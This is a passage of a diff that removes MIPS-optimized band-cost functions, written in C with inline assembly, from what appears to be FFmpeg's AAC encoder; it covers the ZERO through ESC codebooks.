- * Functions developed from template function and optimized for getting the band cost
- */
-#if HAVE_MIPSFPU
-static float get_band_cost_ZERO_mips(struct AACEncContext *s,
-                                     PutBitContext *pb, const float *in,
-                                     const float *scaled, int size, int scale_idx,
-                                     int cb, const float lambda, const float uplim,
-                                     int *bits, float *energy)
-{
-    int i;
-    float cost = 0;
-
-    for (i = 0; i < size; i += 4) {
-        cost += in[i  ] * in[i  ];
-        cost += in[i+1] * in[i+1];
-        cost += in[i+2] * in[i+2];
-        cost += in[i+3] * in[i+3];
-    }
-    if (bits)
-        *bits = 0;
-    if (energy)
-        *energy = 0.0f;
-    return cost * lambda;
-}
-
-static float get_band_cost_NONE_mips(struct AACEncContext *s,
-                                     PutBitContext *pb, const float *in,
-                                     const float *scaled, int size, int scale_idx,
-                                     int cb, const float lambda, const float uplim,
-                                     int *bits, float *energy)
-{
-    av_assert0(0);
-    return 0;
-}
-
-static float get_band_cost_SQUAD_mips(struct AACEncContext *s,
-                                      PutBitContext *pb, const float *in,
-                                      const float *scaled, int size, int scale_idx,
-                                      int cb, const float lambda, const float uplim,
-                                      int *bits, float *energy)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    const float IQ  = ff_aac_pow2sf_tab [POW_SF2_ZERO + scale_idx - SCALE_ONE_POS + SCALE_DIV_512];
-    int i;
-    float cost = 0;
-    float qenergy = 0.0f;
-    int qc1, qc2, qc3, qc4;
-    int curbits = 0;
-
-    uint8_t *p_bits  = (uint8_t *)ff_aac_spectral_bits[cb-1];
-    float   *p_codes = (float   *)ff_aac_codebook_vectors[cb-1];
-
-    for (i = 0; i < size; i += 4) {
-        const float *vec;
-        int curidx;
-        int   *in_int = (int   *)&in[i];
-        float *in_pos = (float *)&in[i];
-        float di0, di1, di2, di3;
-        int t0, t1, t2, t3, t4, t5, t6, t7;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                                  \n\t"
-            ".set noreorder                             \n\t"
-
-            "slt        %[qc1], $zero,  %[qc1]          \n\t"
-            "slt        %[qc2], $zero,  %[qc2]          \n\t"
-            "slt        %[qc3], $zero,  %[qc3]          \n\t"
-            "slt        %[qc4], $zero,  %[qc4]          \n\t"
-            "lw         %[t0],  0(%[in_int])            \n\t"
-            "lw         %[t1],  4(%[in_int])            \n\t"
-            "lw         %[t2],  8(%[in_int])            \n\t"
-            "lw         %[t3],  12(%[in_int])           \n\t"
-            "srl        %[t0],  %[t0],  31              \n\t"
-            "srl        %[t1],  %[t1],  31              \n\t"
-            "srl        %[t2],  %[t2],  31              \n\t"
-            "srl        %[t3],  %[t3],  31              \n\t"
-            "subu       %[t4],  $zero,  %[qc1]          \n\t"
-            "subu       %[t5],  $zero,  %[qc2]          \n\t"
-            "subu       %[t6],  $zero,  %[qc3]          \n\t"
-            "subu       %[t7],  $zero,  %[qc4]          \n\t"
-            "movn       %[qc1], %[t4],  %[t0]           \n\t"
-            "movn       %[qc2], %[t5],  %[t1]           \n\t"
-            "movn       %[qc3], %[t6],  %[t2]           \n\t"
-            "movn       %[qc4], %[t7],  %[t3]           \n\t"
-
-            ".set pop                                   \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4), [t5]"=&r"(t5), [t6]"=&r"(t6), [t7]"=&r"(t7)
-            : [in_int]"r"(in_int)
-            : "memory"
-        );
-
-        curidx = qc1;
-        curidx *= 3;
-        curidx += qc2;
-        curidx *= 3;
-        curidx += qc3;
-        curidx *= 3;
-        curidx += qc4;
-        curidx += 40;
-
-        curbits += p_bits[curidx];
-        vec     = &p_codes[curidx*4];
-
-        qenergy += vec[0]*vec[0] + vec[1]*vec[1]
-                +  vec[2]*vec[2] + vec[3]*vec[3];
-
-        __asm__ volatile (
-            ".set push                                  \n\t"
-            ".set noreorder                             \n\t"
-
-            "lwc1       $f0,    0(%[in_pos])            \n\t"
-            "lwc1       $f1,    0(%[vec])               \n\t"
-            "lwc1       $f2,    4(%[in_pos])            \n\t"
-            "lwc1       $f3,    4(%[vec])               \n\t"
-            "lwc1       $f4,    8(%[in_pos])            \n\t"
-            "lwc1       $f5,    8(%[vec])               \n\t"
-            "lwc1       $f6,    12(%[in_pos])           \n\t"
-            "lwc1       $f7,    12(%[vec])              \n\t"
-            "nmsub.s    %[di0], $f0,    $f1,    %[IQ]   \n\t"
-            "nmsub.s    %[di1], $f2,    $f3,    %[IQ]   \n\t"
-            "nmsub.s    %[di2], $f4,    $f5,    %[IQ]   \n\t"
-            "nmsub.s    %[di3], $f6,    $f7,    %[IQ]   \n\t"
-
-            ".set pop                                   \n\t"
-
-            : [di0]"=&f"(di0), [di1]"=&f"(di1),
-              [di2]"=&f"(di2), [di3]"=&f"(di3)
-            : [in_pos]"r"(in_pos), [vec]"r"(vec),
-              [IQ]"f"(IQ)
-            : "$f0", "$f1", "$f2", "$f3",
-              "$f4", "$f5", "$f6", "$f7",
-              "memory"
-        );
-
-        cost += di0 * di0 + di1 * di1
-                + di2 * di2 + di3 * di3;
-    }
-
-    if (bits)
-        *bits = curbits;
-    if (energy)
-        *energy = qenergy * (IQ*IQ);
-    return cost * lambda + curbits;
-}
-
-static float get_band_cost_UQUAD_mips(struct AACEncContext *s,
-                                      PutBitContext *pb, const float *in,
-                                      const float *scaled, int size, int scale_idx,
-                                      int cb, const float lambda, const float uplim,
-                                      int *bits, float *energy)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    const float IQ  = ff_aac_pow2sf_tab [POW_SF2_ZERO + scale_idx - SCALE_ONE_POS + SCALE_DIV_512];
-    int i;
-    float cost = 0;
-    float qenergy = 0.0f;
-    int curbits = 0;
-    int qc1, qc2, qc3, qc4;
-
-    uint8_t *p_bits  = (uint8_t*)ff_aac_spectral_bits[cb-1];
-    float   *p_codes = (float  *)ff_aac_codebook_vectors[cb-1];
-
-    for (i = 0; i < size; i += 4) {
-        const float *vec;
-        int curidx;
-        float *in_pos = (float *)&in[i];
-        float di0, di1, di2, di3;
-        int t0, t1, t2, t3, t4;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                                  \n\t"
-            ".set noreorder                             \n\t"
-
-            "ori        %[t4],  $zero,  2               \n\t"
-            "slt        %[t0],  %[t4],  %[qc1]          \n\t"
-            "slt        %[t1],  %[t4],  %[qc2]          \n\t"
-            "slt        %[t2],  %[t4],  %[qc3]          \n\t"
-            "slt        %[t3],  %[t4],  %[qc4]          \n\t"
-            "movn       %[qc1], %[t4],  %[t0]           \n\t"
-            "movn       %[qc2], %[t4],  %[t1]           \n\t"
-            "movn       %[qc3], %[t4],  %[t2]           \n\t"
-            "movn       %[qc4], %[t4],  %[t3]           \n\t"
-
-            ".set pop                                   \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4)
-        );
-
-        curidx = qc1;
-        curidx *= 3;
-        curidx += qc2;
-        curidx *= 3;
-        curidx += qc3;
-        curidx *= 3;
-        curidx += qc4;
-
-        curbits += p_bits[curidx];
-        curbits += uquad_sign_bits[curidx];
-        vec     = &p_codes[curidx*4];
-
-        qenergy += vec[0]*vec[0] + vec[1]*vec[1]
-                +  vec[2]*vec[2] + vec[3]*vec[3];
-
-        __asm__ volatile (
-            ".set push                                  \n\t"
-            ".set noreorder                             \n\t"
-
-            "lwc1       %[di0], 0(%[in_pos])            \n\t"
-            "lwc1       %[di1], 4(%[in_pos])            \n\t"
-            "lwc1       %[di2], 8(%[in_pos])            \n\t"
-            "lwc1       %[di3], 12(%[in_pos])           \n\t"
-            "abs.s      %[di0], %[di0]                  \n\t"
-            "abs.s      %[di1], %[di1]                  \n\t"
-            "abs.s      %[di2], %[di2]                  \n\t"
-            "abs.s      %[di3], %[di3]                  \n\t"
-            "lwc1       $f0,    0(%[vec])               \n\t"
-            "lwc1       $f1,    4(%[vec])               \n\t"
-            "lwc1       $f2,    8(%[vec])               \n\t"
-            "lwc1       $f3,    12(%[vec])              \n\t"
-            "nmsub.s    %[di0], %[di0], $f0,    %[IQ]   \n\t"
-            "nmsub.s    %[di1], %[di1], $f1,    %[IQ]   \n\t"
-            "nmsub.s    %[di2], %[di2], $f2,    %[IQ]   \n\t"
-            "nmsub.s    %[di3], %[di3], $f3,    %[IQ]   \n\t"
-
-            ".set pop                                   \n\t"
-
-            : [di0]"=&f"(di0), [di1]"=&f"(di1),
-              [di2]"=&f"(di2), [di3]"=&f"(di3)
-            : [in_pos]"r"(in_pos), [vec]"r"(vec),
-              [IQ]"f"(IQ)
-            : "$f0", "$f1", "$f2", "$f3",
-              "memory"
-        );
-
-        cost += di0 * di0 + di1 * di1
-                + di2 * di2 + di3 * di3;
-    }
-
-    if (bits)
-        *bits = curbits;
-    if (energy)
-        *energy = qenergy * (IQ*IQ);
-    return cost * lambda + curbits;
-}
-
-static float get_band_cost_SPAIR_mips(struct AACEncContext *s,
-                                      PutBitContext *pb, const float *in,
-                                      const float *scaled, int size, int scale_idx,
-                                      int cb, const float lambda, const float uplim,
-                                      int *bits, float *energy)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    const float IQ  = ff_aac_pow2sf_tab [POW_SF2_ZERO + scale_idx - SCALE_ONE_POS + SCALE_DIV_512];
-    int i;
-    float cost = 0;
-    float qenergy = 0.0f;
-    int qc1, qc2, qc3, qc4;
-    int curbits = 0;
-
-    uint8_t *p_bits  = (uint8_t *)ff_aac_spectral_bits[cb-1];
-    float   *p_codes = (float   *)ff_aac_codebook_vectors[cb-1];
-
-    for (i = 0; i < size; i += 4) {
-        const float *vec, *vec2;
-        int curidx, curidx2;
-        int   *in_int = (int   *)&in[i];
-        float *in_pos = (float *)&in[i];
-        float di0, di1, di2, di3;
-        int t0, t1, t2, t3, t4, t5, t6, t7;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                                  \n\t"
-            ".set noreorder                             \n\t"
-
-            "ori        %[t4],  $zero,  4               \n\t"
-            "slt        %[t0],  %[t4],  %[qc1]          \n\t"
-            "slt        %[t1],  %[t4],  %[qc2]          \n\t"
-            "slt        %[t2],  %[t4],  %[qc3]          \n\t"
-            "slt        %[t3],  %[t4],  %[qc4]          \n\t"
-            "movn       %[qc1], %[t4],  %[t0]           \n\t"
-            "movn       %[qc2], %[t4],  %[t1]           \n\t"
-            "movn       %[qc3], %[t4],  %[t2]           \n\t"
-            "movn       %[qc4], %[t4],  %[t3]           \n\t"
-            "lw         %[t0],  0(%[in_int])            \n\t"
-            "lw         %[t1],  4(%[in_int])            \n\t"
-            "lw         %[t2],  8(%[in_int])            \n\t"
-            "lw         %[t3],  12(%[in_int])           \n\t"
-            "srl        %[t0],  %[t0],  31              \n\t"
-            "srl        %[t1],  %[t1],  31              \n\t"
-            "srl        %[t2],  %[t2],  31              \n\t"
-            "srl        %[t3],  %[t3],  31              \n\t"
-            "subu       %[t4],  $zero,  %[qc1]          \n\t"
-            "subu       %[t5],  $zero,  %[qc2]          \n\t"
-            "subu       %[t6],  $zero,  %[qc3]          \n\t"
-            "subu       %[t7],  $zero,  %[qc4]          \n\t"
-            "movn       %[qc1], %[t4],  %[t0]           \n\t"
-            "movn       %[qc2], %[t5],  %[t1]           \n\t"
-            "movn       %[qc3], %[t6],  %[t2]           \n\t"
-            "movn       %[qc4], %[t7],  %[t3]           \n\t"
-
-            ".set pop                                   \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4), [t5]"=&r"(t5), [t6]"=&r"(t6), [t7]"=&r"(t7)
-            : [in_int]"r"(in_int)
-            : "memory"
-        );
-
-        curidx = 9 * qc1;
-        curidx += qc2 + 40;
-
-        curidx2 = 9 * qc3;
-        curidx2 += qc4 + 40;
-
-        curbits += p_bits[curidx];
-        curbits += p_bits[curidx2];
-
-        vec     = &p_codes[curidx*2];
-        vec2    = &p_codes[curidx2*2];
-
-        qenergy += vec[0]*vec[0] + vec[1]*vec[1]
-                +  vec2[0]*vec2[0] + vec2[1]*vec2[1];
-
-        __asm__ volatile (
-            ".set push                                  \n\t"
-            ".set noreorder                             \n\t"
-
-            "lwc1       $f0,    0(%[in_pos])            \n\t"
-            "lwc1       $f1,    0(%[vec])               \n\t"
-            "lwc1       $f2,    4(%[in_pos])            \n\t"
-            "lwc1       $f3,    4(%[vec])               \n\t"
-            "lwc1       $f4,    8(%[in_pos])            \n\t"
-            "lwc1       $f5,    0(%[vec2])              \n\t"
-            "lwc1       $f6,    12(%[in_pos])           \n\t"
-            "lwc1       $f7,    4(%[vec2])              \n\t"
-            "nmsub.s    %[di0], $f0,    $f1,    %[IQ]   \n\t"
-            "nmsub.s    %[di1], $f2,    $f3,    %[IQ]   \n\t"
-            "nmsub.s    %[di2], $f4,    $f5,    %[IQ]   \n\t"
-            "nmsub.s    %[di3], $f6,    $f7,    %[IQ]   \n\t"
-
-            ".set pop                                   \n\t"
-
-            : [di0]"=&f"(di0), [di1]"=&f"(di1),
-              [di2]"=&f"(di2), [di3]"=&f"(di3)
-            : [in_pos]"r"(in_pos), [vec]"r"(vec),
-              [vec2]"r"(vec2), [IQ]"f"(IQ)
-            : "$f0", "$f1", "$f2", "$f3",
-              "$f4", "$f5", "$f6", "$f7",
-              "memory"
-        );
-
-        cost += di0 * di0 + di1 * di1
-                + di2 * di2 + di3 * di3;
-    }
-
-    if (bits)
-        *bits = curbits;
-    if (energy)
-        *energy = qenergy * (IQ*IQ);
-    return cost * lambda + curbits;
-}
-
-static float get_band_cost_UPAIR7_mips(struct AACEncContext *s,
-                                       PutBitContext *pb, const float *in,
-                                       const float *scaled, int size, int scale_idx,
-                                       int cb, const float lambda, const float uplim,
-                                       int *bits, float *energy)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    const float IQ  = ff_aac_pow2sf_tab [POW_SF2_ZERO + scale_idx - SCALE_ONE_POS + SCALE_DIV_512];
-    int i;
-    float cost = 0;
-    float qenergy = 0.0f;
-    int qc1, qc2, qc3, qc4;
-    int curbits = 0;
-
-    uint8_t *p_bits  = (uint8_t *)ff_aac_spectral_bits[cb-1];
-    float   *p_codes = (float   *)ff_aac_codebook_vectors[cb-1];
-
-    for (i = 0; i < size; i += 4) {
-        const float *vec, *vec2;
-        int curidx, curidx2, sign1, count1, sign2, count2;
-        int   *in_int = (int   *)&in[i];
-        float *in_pos = (float *)&in[i];
-        float di0, di1, di2, di3;
-        int t0, t1, t2, t3, t4;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                                          \n\t"
-            ".set noreorder                                     \n\t"
-
-            "ori        %[t4],      $zero,      7               \n\t"
-            "ori        %[sign1],   $zero,      0               \n\t"
-            "ori        %[sign2],   $zero,      0               \n\t"
-            "slt        %[t0],      %[t4],      %[qc1]          \n\t"
-            "slt        %[t1],      %[t4],      %[qc2]          \n\t"
-            "slt        %[t2],      %[t4],      %[qc3]          \n\t"
-            "slt        %[t3],      %[t4],      %[qc4]          \n\t"
-            "movn       %[qc1],     %[t4],      %[t0]           \n\t"
-            "movn       %[qc2],     %[t4],      %[t1]           \n\t"
-            "movn       %[qc3],     %[t4],      %[t2]           \n\t"
-            "movn       %[qc4],     %[t4],      %[t3]           \n\t"
-            "lw         %[t0],      0(%[in_int])                \n\t"
-            "lw         %[t1],      4(%[in_int])                \n\t"
-            "lw         %[t2],      8(%[in_int])                \n\t"
-            "lw         %[t3],      12(%[in_int])               \n\t"
-            "slt        %[t0],      %[t0],      $zero           \n\t"
-            "movn       %[sign1],   %[t0],      %[qc1]          \n\t"
-            "slt        %[t2],      %[t2],      $zero           \n\t"
-            "movn       %[sign2],   %[t2],      %[qc3]          \n\t"
-            "slt        %[t1],      %[t1],      $zero           \n\t"
-            "sll        %[t0],      %[sign1],   1               \n\t"
-            "or         %[t0],      %[t0],      %[t1]           \n\t"
-            "movn       %[sign1],   %[t0],      %[qc2]          \n\t"
-            "slt        %[t3],      %[t3],      $zero           \n\t"
-            "sll        %[t0],      %[sign2],   1               \n\t"
-            "or         %[t0],      %[t0],      %[t3]           \n\t"
-            "movn       %[sign2],   %[t0],      %[qc4]          \n\t"
-            "slt        %[count1],  $zero,      %[qc1]          \n\t"
-            "slt        %[t1],      $zero,      %[qc2]          \n\t"
-            "slt        %[count2],  $zero,      %[qc3]          \n\t"
-            "slt        %[t2],      $zero,      %[qc4]          \n\t"
-            "addu       %[count1],  %[count1],  %[t1]           \n\t"
-            "addu       %[count2],  %[count2],  %[t2]           \n\t"
-
-            ".set pop                                           \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [sign1]"=&r"(sign1), [count1]"=&r"(count1),
-              [sign2]"=&r"(sign2), [count2]"=&r"(count2),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4)
-            : [in_int]"r"(in_int)
-            : "memory"
-        );
-
-        curidx = 8 * qc1;
-        curidx += qc2;
-
-        curidx2 = 8 * qc3;
-        curidx2 += qc4;
-
-        curbits += p_bits[curidx];
-        curbits += upair7_sign_bits[curidx];
-        vec     = &p_codes[curidx*2];
-
-        curbits += p_bits[curidx2];
-        curbits += upair7_sign_bits[curidx2];
-        vec2    = &p_codes[curidx2*2];
-
-        qenergy += vec[0]*vec[0] + vec[1]*vec[1]
-                +  vec2[0]*vec2[0] + vec2[1]*vec2[1];
-
-        __asm__ volatile (
-            ".set push                                          \n\t"
-            ".set noreorder                                     \n\t"
-
-            "lwc1       %[di0],     0(%[in_pos])                \n\t"
-            "lwc1       %[di1],     4(%[in_pos])                \n\t"
-            "lwc1       %[di2],     8(%[in_pos])                \n\t"
-            "lwc1       %[di3],     12(%[in_pos])               \n\t"
-            "abs.s      %[di0],     %[di0]                      \n\t"
-            "abs.s      %[di1],     %[di1]                      \n\t"
-            "abs.s      %[di2],     %[di2]                      \n\t"
-            "abs.s      %[di3],     %[di3]                      \n\t"
-            "lwc1       $f0,        0(%[vec])                   \n\t"
-            "lwc1       $f1,        4(%[vec])                   \n\t"
-            "lwc1       $f2,        0(%[vec2])                  \n\t"
-            "lwc1       $f3,        4(%[vec2])                  \n\t"
-            "nmsub.s    %[di0],     %[di0],     $f0,    %[IQ]   \n\t"
-            "nmsub.s    %[di1],     %[di1],     $f1,    %[IQ]   \n\t"
-            "nmsub.s    %[di2],     %[di2],     $f2,    %[IQ]   \n\t"
-            "nmsub.s    %[di3],     %[di3],     $f3,    %[IQ]   \n\t"
-
-            ".set pop                                           \n\t"
-
-            : [di0]"=&f"(di0), [di1]"=&f"(di1),
-              [di2]"=&f"(di2), [di3]"=&f"(di3)
-            : [in_pos]"r"(in_pos), [vec]"r"(vec),
-              [vec2]"r"(vec2), [IQ]"f"(IQ)
-            : "$f0", "$f1", "$f2", "$f3",
-              "memory"
-        );
-
-        cost += di0 * di0 + di1 * di1
-                + di2 * di2 + di3 * di3;
-    }
-
-    if (bits)
-        *bits = curbits;
-    if (energy)
-        *energy = qenergy * (IQ*IQ);
-    return cost * lambda + curbits;
-}
-
-static float get_band_cost_UPAIR12_mips(struct AACEncContext *s,
-                                        PutBitContext *pb, const float *in,
-                                        const float *scaled, int size, int scale_idx,
-                                        int cb, const float lambda, const float uplim,
-                                        int *bits, float *energy)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    const float IQ  = ff_aac_pow2sf_tab [POW_SF2_ZERO + scale_idx - SCALE_ONE_POS + SCALE_DIV_512];
-    int i;
-    float cost = 0;
-    float qenergy = 0.0f;
-    int qc1, qc2, qc3, qc4;
-    int curbits = 0;
-
-    uint8_t *p_bits  = (uint8_t *)ff_aac_spectral_bits[cb-1];
-    float   *p_codes = (float   *)ff_aac_codebook_vectors[cb-1];
-
-    for (i = 0; i < size; i += 4) {
-        const float *vec, *vec2;
-        int curidx, curidx2;
-        int sign1, count1, sign2, count2;
-        int   *in_int = (int   *)&in[i];
-        float *in_pos = (float *)&in[i];
-        float di0, di1, di2, di3;
-        int t0, t1, t2, t3, t4;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                                          \n\t"
-            ".set noreorder                                     \n\t"
-
-            "ori        %[t4],      $zero,      12              \n\t"
-            "ori        %[sign1],   $zero,      0               \n\t"
-            "ori        %[sign2],   $zero,      0               \n\t"
-            "slt        %[t0],      %[t4],      %[qc1]          \n\t"
-            "slt        %[t1],      %[t4],      %[qc2]          \n\t"
-            "slt        %[t2],      %[t4],      %[qc3]          \n\t"
-            "slt        %[t3],      %[t4],      %[qc4]          \n\t"
-            "movn       %[qc1],     %[t4],      %[t0]           \n\t"
-            "movn       %[qc2],     %[t4],      %[t1]           \n\t"
-            "movn       %[qc3],     %[t4],      %[t2]           \n\t"
-            "movn       %[qc4],     %[t4],      %[t3]           \n\t"
-            "lw         %[t0],      0(%[in_int])                \n\t"
-            "lw         %[t1],      4(%[in_int])                \n\t"
-            "lw         %[t2],      8(%[in_int])                \n\t"
-            "lw         %[t3],      12(%[in_int])               \n\t"
-            "slt        %[t0],      %[t0],      $zero           \n\t"
-            "movn       %[sign1],   %[t0],      %[qc1]          \n\t"
-            "slt        %[t2],      %[t2],      $zero           \n\t"
-            "movn       %[sign2],   %[t2],      %[qc3]          \n\t"
-            "slt        %[t1],      %[t1],      $zero           \n\t"
-            "sll        %[t0],      %[sign1],   1               \n\t"
-            "or         %[t0],      %[t0],      %[t1]           \n\t"
-            "movn       %[sign1],   %[t0],      %[qc2]          \n\t"
-            "slt        %[t3],      %[t3],      $zero           \n\t"
-            "sll        %[t0],      %[sign2],   1               \n\t"
-            "or         %[t0],      %[t0],      %[t3]           \n\t"
-            "movn       %[sign2],   %[t0],      %[qc4]          \n\t"
-            "slt        %[count1],  $zero,      %[qc1]          \n\t"
-            "slt        %[t1],      $zero,      %[qc2]          \n\t"
-            "slt        %[count2],  $zero,      %[qc3]          \n\t"
-            "slt        %[t2],      $zero,      %[qc4]          \n\t"
-            "addu       %[count1],  %[count1],  %[t1]           \n\t"
-            "addu       %[count2],  %[count2],  %[t2]           \n\t"
-
-            ".set pop                                           \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [sign1]"=&r"(sign1), [count1]"=&r"(count1),
-              [sign2]"=&r"(sign2), [count2]"=&r"(count2),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4)
-            : [in_int]"r"(in_int)
-            : "memory"
-        );
-
-        curidx = 13 * qc1;
-        curidx += qc2;
-
-        curidx2 = 13 * qc3;
-        curidx2 += qc4;
-
-        curbits += p_bits[curidx];
-        curbits += p_bits[curidx2];
-        curbits += upair12_sign_bits[curidx];
-        curbits += upair12_sign_bits[curidx2];
-        vec     = &p_codes[curidx*2];
-        vec2    = &p_codes[curidx2*2];
-
-        qenergy += vec[0]*vec[0] + vec[1]*vec[1]
-                +  vec2[0]*vec2[0] + vec2[1]*vec2[1];
-
-        __asm__ volatile (
-            ".set push                                          \n\t"
-            ".set noreorder                                     \n\t"
-
-            "lwc1       %[di0],     0(%[in_pos])                \n\t"
-            "lwc1       %[di1],     4(%[in_pos])                \n\t"
-            "lwc1       %[di2],     8(%[in_pos])                \n\t"
-            "lwc1       %[di3],     12(%[in_pos])               \n\t"
-            "abs.s      %[di0],     %[di0]                      \n\t"
-            "abs.s      %[di1],     %[di1]                      \n\t"
-            "abs.s      %[di2],     %[di2]                      \n\t"
-            "abs.s      %[di3],     %[di3]                      \n\t"
-            "lwc1       $f0,        0(%[vec])                   \n\t"
-            "lwc1       $f1,        4(%[vec])                   \n\t"
-            "lwc1       $f2,        0(%[vec2])                  \n\t"
-            "lwc1       $f3,        4(%[vec2])                  \n\t"
-            "nmsub.s    %[di0],     %[di0],     $f0,    %[IQ]   \n\t"
-            "nmsub.s    %[di1],     %[di1],     $f1,    %[IQ]   \n\t"
-            "nmsub.s    %[di2],     %[di2],     $f2,    %[IQ]   \n\t"
-            "nmsub.s    %[di3],     %[di3],     $f3,    %[IQ]   \n\t"
-
-            ".set pop                                           \n\t"
-
-            : [di0]"=&f"(di0), [di1]"=&f"(di1),
-              [di2]"=&f"(di2), [di3]"=&f"(di3)
-            : [in_pos]"r"(in_pos), [vec]"r"(vec),
-              [vec2]"r"(vec2), [IQ]"f"(IQ)
-            : "$f0", "$f1", "$f2", "$f3",
-              "memory"
-        );
-
-        cost += di0 * di0 + di1 * di1
-                + di2 * di2 + di3 * di3;
-    }
-
-    if (bits)
-        *bits = curbits;
-    if (energy)
-        *energy = qenergy * (IQ*IQ);
-    return cost * lambda + curbits;
-}
-
-static float get_band_cost_ESC_mips(struct AACEncContext *s,
-                                    PutBitContext *pb, const float *in,
-                                    const float *scaled, int size, int scale_idx,
-                                    int cb, const float lambda, const float uplim,
-                                    int *bits, float *energy)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    const float IQ  = ff_aac_pow2sf_tab [POW_SF2_ZERO + scale_idx - SCALE_ONE_POS + SCALE_DIV_512];
-    const float CLIPPED_ESCAPE = 165140.0f * IQ;
-    int i;
-    float cost = 0;
-    float qenergy = 0.0f;
-    int qc1, qc2, qc3, qc4;
-    int curbits = 0;
-
-    uint8_t *p_bits  = (uint8_t*)ff_aac_spectral_bits[cb-1];
-    float   *p_codes = (float*  )ff_aac_codebook_vectors[cb-1];
-
-    for (i = 0; i < size; i += 4) {
-        const float *vec, *vec2;
-        int curidx, curidx2;
-        float t1, t2, t3, t4, V;
-        float di1, di2, di3, di4;
-        int cond0, cond1, cond2, cond3;
-        int c1, c2, c3, c4;
-        int t6, t7;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                                  \n\t"
-            ".set noreorder                             \n\t"
-
-            "ori        %[t6],      $zero,  15          \n\t"
-            "ori        %[t7],      $zero,  16          \n\t"
-            "shll_s.w   %[c1],      %[qc1], 18          \n\t"
-            "shll_s.w   %[c2],      %[qc2], 18          \n\t"
-            "shll_s.w   %[c3],      %[qc3], 18          \n\t"
-            "shll_s.w   %[c4],      %[qc4], 18          \n\t"
-            "srl        %[c1],      %[c1],  18          \n\t"
-            "srl        %[c2],      %[c2],  18          \n\t"
-            "srl        %[c3],      %[c3],  18          \n\t"
-            "srl        %[c4],      %[c4],  18          \n\t"
-            "slt        %[cond0],   %[t6],  %[qc1]      \n\t"
-            "slt        %[cond1],   %[t6],  %[qc2]      \n\t"
-            "slt        %[cond2],   %[t6],  %[qc3]      \n\t"
-            "slt        %[cond3],   %[t6],  %[qc4]      \n\t"
-            "movn       %[qc1],     %[t7],  %[cond0]    \n\t"
-            "movn       %[qc2],     %[t7],  %[cond1]    \n\t"
-            "movn       %[qc3],     %[t7],  %[cond2]    \n\t"
-            "movn       %[qc4],     %[t7],  %[cond3]    \n\t"
-
-            ".set pop                                   \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [cond0]"=&r"(cond0), [cond1]"=&r"(cond1),
-              [cond2]"=&r"(cond2), [cond3]"=&r"(cond3),
-              [c1]"=&r"(c1), [c2]"=&r"(c2),
-              [c3]"=&r"(c3), [c4]"=&r"(c4),
